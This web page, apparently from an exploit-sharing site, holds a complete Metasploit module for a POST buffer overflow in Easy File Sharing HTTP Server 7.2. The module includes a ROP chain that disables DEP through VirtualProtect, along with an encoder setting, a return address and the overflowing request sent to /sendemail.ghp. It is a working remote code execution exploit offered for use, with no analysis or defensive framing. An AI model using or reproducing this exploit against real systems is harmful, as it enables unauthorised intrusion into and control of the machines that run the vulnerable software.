扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp #include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Easy File Sharing HTTP Server 7.2 POST Buffer Overflow', 'Description'=> %q{ This module exploits a POST buffer overflow in the Easy File Sharing FTP Server 7.2 software. }, 'Author' => [ 'bl4ck h4ck3r', #POC 'Marco Rivoli <marco.rivoli.nvh[at]gmail.com>' #Metasploit ], 'License'=> MSF_LICENSE, 'References' => [ [ 'EDB', '42186' ], ], 'Privileged' => true, 'Payload'=> { 'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e", }, 'Platform' => 'win', 'Targets'=> [ [ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x1002280a } ], ], 'DefaultOptions' => { 'RPORT' => 80, 'EXITFUNC' => 'thread', 'ENCODER' => 'x86/alpha_mixed' }, 'DisclosureDate' => 'Jun 12 2017', 'DefaultTarget'=> 0)) end def create_rop_chain # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ # 0x00000000,# [-] Unable to find gadget to put 00000201 into ebx 0x10015442,# POP EAX # RETN [ImageLoad.dll] 0xFFFFFDFE,# -202 0x100231d1,# NEG EAX # RETN [ImageLoad.dll] 0x1001da09,# ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]| {PAGE_EXECUTE_READ} 0x1001a858,# RETN (ROP NOP) [ImageLoad.dll] 0x1001a858,# RETN (ROP NOP) [ImageLoad.dll] 0x10015442,# POP EAX # RETN [ImageLoad.dll] 0x1004de84,# &Writable location [ImageLoad.dll] 0x10015442,# POP EAX # RETN [ImageLoad.dll] 0x61c832d0,# ptr to &VirtualProtect() [IAT sqlite3.dll] 0x1002248c,# MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll] 0x61c0a798,# XCHG EAX,EDI # RETN [sqlite3.dll] 0x1001d626,# XOR ESI,ESI # RETN [ImageLoad.dll] 0x10021a3e,# ADD ESI,EDI # RETN 0x00 [ImageLoad.dll] 0x100218f9,# POP EBP # RETN [ImageLoad.dll] 0x61c24169,# & push esp # ret[sqlite3.dll] 0x10022c4c,# XOR EDX,EDX # RETN [ImageLoad.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be,# INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x1001bd98,# POP ECX # RETN [ImageLoad.dll] 0x1004de84,# &Writable location [ImageLoad.dll] 0x61c373a4,# POP EDI # RETN [sqlite3.dll] 0x1001a858,# RETN (ROP NOP) [ImageLoad.dll] 0x10015442,# POP EAX # RETN [ImageLoad.dll] 0x90909090,# nop 0x100240c2,# PUSHAD # RETN [ImageLoad.dll] ].flatten.pack('V*') return rop_gadgets end def exploit sploit = rand_text_alpha_upper(2278) rop_chain = create_rop_chain sploit << rop_chain sploit << "\x90" * 200 sploit << payload.encoded sploit << rand_text_alpha_upper(1794 - 200 - payload.encoded.length - rop_chain.length) sploit << [target.ret].pack('V') request = "POST /sendemail.ghp HTTP/1.1\r\n\r\nEmail=#{sploit}&getPassword=Get+Password" connect sock.put(request) handler disconnect end end |
体验盒子
